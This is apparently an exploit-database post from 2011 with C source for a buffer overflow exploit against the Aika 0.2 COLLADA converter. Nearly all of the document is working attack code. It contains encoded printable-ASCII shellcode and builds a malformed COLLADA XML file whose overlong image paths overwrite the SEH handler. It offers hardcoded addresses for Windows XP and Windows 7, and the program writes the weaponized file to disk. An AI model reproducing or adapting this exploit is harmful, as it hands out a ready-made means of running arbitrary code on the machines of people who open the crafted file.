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Aika 0.2 Buffer Overflow

Posted on 12 September 2011

/* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// # Exploit Title: Aika colladaconverter buffer overflow exploit # Date: 09/11/2011 # Author: isciurus # Software Link: http://aika.googlecode.com/files/aika-v02.zip # Version: 0.2 # Tested on: Windows 7 x64 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */ #include <stdio.h> #include <windows.h> #include <stdlib.h> #include "string.h" char printableASCIIShellcode[] = // encoded 499 bytes "WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path --------- "OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" // | "GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" // | "RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" // | "UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" // | "EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" // | "JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" // | "HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; // | // | char xml[] = // | "<?xml version="1.0" encoding="utf8"?>" // | "<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">" // | "<asset>" // | " <contributor>" // | " <author>isciurus</author>" // | " <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" // | " </contributor>" // | " <created>2011-09-04T22:29:59Z</created>" // | " <modified>2011-09-04T22:29:59Z</modified>" // | " <unit meter="0.01" name="centimeter"/>" // | " <up_axis>Y_UP</up_axis>" // | "</asset>" // | "<library_cameras>" // | " <camera id="cameraShape1" name="cameraShape1">" // | " <optics>" // | " <technique_common>" // | " <perspective>" // | " <yfov>37.8492</yfov>" // | " <aspect_ratio>1.5</aspect_ratio>" // | " <znear>1</znear>" // | " <zfar>10000</zfar>" // | " </perspective>" // | " </technique_common>" // | " </optics>" // | " </camera>" // | "</library_cameras>" // | "<library_lights></library_lights>" // | "<library_images>" // | " <image id="file2" name="file2" depth="1">" // | " <init_from>E:\aika\" // <--------------------------- "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | // ------------------------------------------------- the shellcode will be copied at this address "AAAAA" " </init_from>" " </image>" " <image id="file3" name="file3" depth="1">" " <init_from>E:\aika\" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | // -------------------------------------------------------- these bytes will overwrite SEH handler "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside "AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception " </init_from>" " </image>" "</library_images>" "<library_materials>" " <material id="blinn3" name="blinn3">" " <instance_effect url="#blinn3-fx"/>" " </material>" "</library_materials>" "<library_geometries>" " <geometry id="LOD3spShape-lib" name="LOD3spShape">" " <mesh>" " <source id="LOD3spShape-lib-positions" name="position">" " <technique_common>" " <accessor count="2108" offset="0" source="#LOD3spShape-lib-positions-array" stride="3">" " <param name="X" type="float"/>" " <param name="Y" type="float"/>" " <param name="Z" type="float"/>" " </accessor>" " </technique_common>" " </source>" " <source id="LOD3spShape-lib-normals" name="normal">" " <technique_common>" " <accessor count="2290" offset="0" source="#LOD3spShape-lib-normals-array" stride="3">" " <param name="X" type="float"/>" " <param name="Y" type="float"/>" " <param name="Z" type="float"/>" " </accessor>" " </technique_common>" " </source>" " <source id="LOD3spShape-lib-map1" name="map1">" " <technique_common>" " <accessor count="2277" offset="0" source="#LOD3spShape-lib-map1-array" stride="2">" " <param name="S" type="float"/>" " <param name="T" type="float"/>" " </accessor>" " </technique_common>" " </source>" " <vertices id="LOD3spShape-lib-vertices">" " <input semantic="POSITION" source="#LOD3spShape-lib-positions"/>" " </vertices>" " <triangles count="4212" material="blinn3SG">" " <input offset="0" semantic="VERTEX" source="#LOD3spShape-lib-vertices"/>" " <input offset="1" semantic="NORMAL" source="#LOD3spShape-lib-normals"/>" " <input offset="2" semantic="TEXCOORD" source="#LOD3spShape-lib-map1" set="0"/>" " <p>375</p>" " </triangles>" " </mesh>" " </geometry>" "</library_geometries>" "<scene>" " <instance_visual_scene url="#VisualSceneNode"/>" "</scene>" "</COLLADA>"; int main(int argc, char **argv) { FILE *xml_file; char win7; char *offset; char *ll; if(argc < 2) { printf(" Usage: aika_bof <malformed_collada_xml_path>"); return 0; } if(sizeof(printableASCIIShellcode) > 644) { printf(" Sorry, the shellcode is too long, 644 chars is maximum"); return 0; } while(1) { char os; printf(" Choose OS version ([X] for Windows XP, [7] for Windows 7):"); os = tolower(getchar()); if(os == 'x') { win7 = 0; break; } else if(os == '7') { win7 = 1; break; } else { printf(" Unknown OS version"); } } printf(" [*] Injecting the shellcode into the xml..."); offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS"); strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1); if(win7 == 1) { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%02", sizeof("%40%02") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%02", sizeof("%40%02") -1); } else { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%01", sizeof("%40%01") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%01", sizeof("%40%01") -1); } printf("done"); printf(" [*] Writing %d bytes to %s...", sizeof(xml), argv[1]); xml_file = fopen(argv[1], "wb"); if(xml_file == NULL) { printf(" error while opening %s", argv[1]); return 0; } if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1) { printf(" error while writing into %s", argv[1]); return 0; } printf("done"); }

 

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